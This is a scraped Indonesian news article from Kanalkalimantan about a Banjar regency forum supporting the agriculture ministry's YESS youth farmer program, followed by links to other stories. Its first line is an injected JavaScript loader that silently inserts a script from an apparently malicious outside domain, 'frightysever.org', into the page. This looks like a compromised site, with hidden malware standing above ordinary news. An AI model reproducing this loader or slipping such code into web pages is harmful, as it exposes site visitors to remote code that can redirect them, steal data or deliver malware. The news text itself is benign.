(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Mewakili Bupati Banjar, Asisten Perekonomian dan Pembangunan Kabupaten Banjar, Ikhwansyah membuka secara resmi Distrik Multi Stakeholder Forum (DMSF) II, Rabu (18/10/2023).
Kegiatan itu antara lain dihadiri oleh Kepala Badan Perencanaan Pembangunan Daerah Penelitian dan Pengembangan, Siti Hamidah dan Kepala SMKPPN, Budi Santoso.
Anggota rapat terdiri dari Dinas lingkup Kabupaten Banjar, UPT Kementan Lingkup Kalsel, BRIPDA, Offtaker, DPM/DPA Kalsel, Perbankan, KADIN, HIPMI, IWAPI, KTNA, HKTI, APJI, Hotel Aston Banua, Pihak Industri Swasta, Financial Advisor, Fasilitator, dan Penerima Manfaat.
Baca juga: Kelompok Remaja Serang Warga Pengambangan Banjarmasin, Pelaku Dibekuk Polisi
DMSF II ini khususnya Pemerintah Daerah didorong untuk memperkuat kerjasamanya, dari sektor pertanian menyumbangkan pendapatan tertinggi ke 2, yaitu 18,87 di Kabupaten Banjar sehingga pertanian menjadi lapangan kerja yang menarik dan berdampak menurunkan tingkat kemiskinan, Kata Ikhwansyah.
Budi Santoso mengatakan dua kunci utama dalam pelaksanaan Program YESS Kementan.
“Pertama Program YESS hadir untuk meningkatkan kapasitas pemuda di pedesaan melalui pendidikan dan pelatihan untuk menjadi agen pembangunan pertanian. Kedua, sasaran dari Program YESS, yakni pemuda dannpemudi harus memiliki jiwa kewirausahaan dari hulu sampai hilir,” jelas dia.
Kepala Bappedalitbang Kabupaten Banjar, Siti Hamidah yang menyampaikan materi berisi “Dukungan Kebijakan Pemerintah Kabupaten Banjar terhadap Program YESS”.
Baca juga: Tipu-tipu Bisa Ambilkan Uang Gaib, Dukun dari Batola Diringkus Reskrim Polsek Banjarmasin Selatan
Menurut dia, Pemerintah Kabupaten Banjar memberi dukungan kebijakan atau peraturan yang terkait dengan mendukung partisipasi pemuda.
“Selain itu makin bertambahnya masyarakat di desa dan pemuda desa yang mendapatkan pelatihan dalam manajemen bisnis serta adanya prospek bisnis bidang pertanian dibandingkan dengan bidang nonpertanian,” katanya.
Kepala Dinas Koperasi Usaha Mikro, Perindustrian dan Perdagangan, Kencana Wati, mendukung penuh Program YESS. Materi terkait offtaker atau pasar/perusahaan ritel komoditas pertanian atau peternakan seperti itik.
Baca juga: Rumah Rahman di Malintang Baru Terbakar
Kelembagaan UMKM mampu mendukung pengembangan SDM di bidang pertanian.
Informasi pelatihan dan pameran dalam mendukung peningkatan kualitas produk pertanian dan olahan hasil pertanian.
Informasi teknis pengurusan perizinan untuk legalisasi produk serta kemasan produk. Optimalisasi peran perkoperasian di sektor pertanian.
Melalui Program penumbuhan petani millenial yang dikenal dengan Program Youth Entrepreneurship and Employment Support Services (YESS) terus mewujudkan regenerasi petani serta melahirkan wirausaha milenial di sektor pertanian.
Distrik Multi Stakeholder Forum (DMSF) II bertujuan untuk menyampaikan capaian dan evaluasi Program YESS dan informasi rencana kegiatan pelaksanaan tahun 2023 serta untuk saling support, saling menyumbangkan ide, karena program Yess ini untuk masyarakat Banjar. (Kanalkalimantan.com/bappedalitbang/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.